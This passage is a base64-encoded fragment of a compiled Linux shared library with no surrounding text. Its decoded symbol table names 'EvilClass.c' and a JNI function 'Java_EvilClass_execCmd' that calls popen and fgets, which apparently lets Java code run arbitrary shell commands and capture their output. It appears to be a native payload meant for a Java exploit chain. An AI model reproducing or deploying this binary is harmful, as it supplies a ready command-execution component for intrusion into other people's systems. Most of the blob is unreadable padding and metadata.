uNaM///0iLhXjP//+6AAAAAEiJzkiJx0H/0EiJRfhIx4Xwz///AAAAAEjHhfjP//8AAAAASI2FAND//7rwLwAAvgAAAABIicfowf3//0iNlfDP//9Ii0X4SInWSInH6Nv9//9Ix4WAz///AAAAAEjHhYjP//8AAAAASMeFkM///wAAAABIx4WYz///AAAAAEjHhaDP//8AAAAASMeFqM///wAAAABIx4Wwz///AAAAAEjHhbjP//8AAAAASMeFwM///wAAAABIx4XIz///AAAAAEjHhdDP//8AAAAASMeF2M///wAAAADHheDP//8AAAAASI2V8M///0iNhYDP//9IidZIicfoVP3//0iLhXjP//9IiwBIi4g4BQAASI2VgM///0iLhXjP//9IidZIicf/0UiJRfBIi0XwycMAAABIg+wISIPECMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAARsDOygAAAAEAAAAHPD//0QAAACc8P//bAAAAGHx//+EAAAA+/H//6QAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAANDv//+AAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAAAo8P//CAAAAAAAAAAAAAAAHAAAAFwAAADV8P//mgAAAABBDhCGAkMNBgKVDAcIAAAcAAAAfAAAAE/x//9uAQAAAEEOEIYCQw0GA2kBDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgEQAAAAAAACARAAAAAAAAAQAAAAAAAACZAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAHATAAAAAAAAGQ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EAAAAAAACYAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACqAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAC9AQAAIAAAAAAAAAAAAAAAAAAAAAAAAADXAQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AEV2aWxDbGFzcy5jAF9fRlJBTUVfRU5EX18AX2ZpbmkAX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2luaXQAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHBjbG9zZUBHTElCQ18yLjIuNQBtZW1zZXRAR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAZmVvZkBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBleGVjbWQASmF2YV9FdmlsQ2xhc3NfZXhlY0NtZABwb3BlbkBHTElCQ18yLjIuNQBzdHJjYXRAR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2//9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAKAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAiAIAAAAAAACIAgAAAAAAADgBAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAAMADAAAAAAAAwAMAAAAAAACvAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD///9vAgAAAAAAAABwBAAAAAAAAHAEAAAAAAAAGgAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA/v//bwIAAAAAAAAAkAQAAAAAAACQBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAALAEAAAAAAAAsAQAAAAAAACoAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABYBQAAAAAAAFgFAAAAAAAAqAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAACgEAAAAAAAAKAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAsBAAAAAAAACwEAAAAAAAAL0CAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAAHATAAAAAAAAcBMAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAABCAAAAAAAAAEIAAAAAAAACwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADAgAAAAAAAAMCAAAAAAAACcAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAAAQPgAAAAAAABAuAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC/AAAADwAAAAMAAAAAAAAAGD4AAAAAAAAYLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAywAAAAYAAAADAAAAAAAAACA+AAAAAAAAIC4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAIIAAAABAAAAAwAAAAAAAADgPwAAAAAAAOAvAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADUAAAAAQAAAAMAAAAAAAAAAEAAAAAAAAAAMAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA3QAAAAEAAAADAAAAAAAAAFBAAAAAAAAAUDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOMAAAAIAAAAAwAAAAAAAABYQAAAAAAAAFgwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADoAAAAAQAAADAAAAAAAAAAAAAAAAAAAABYMAAAAAAAACcAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAA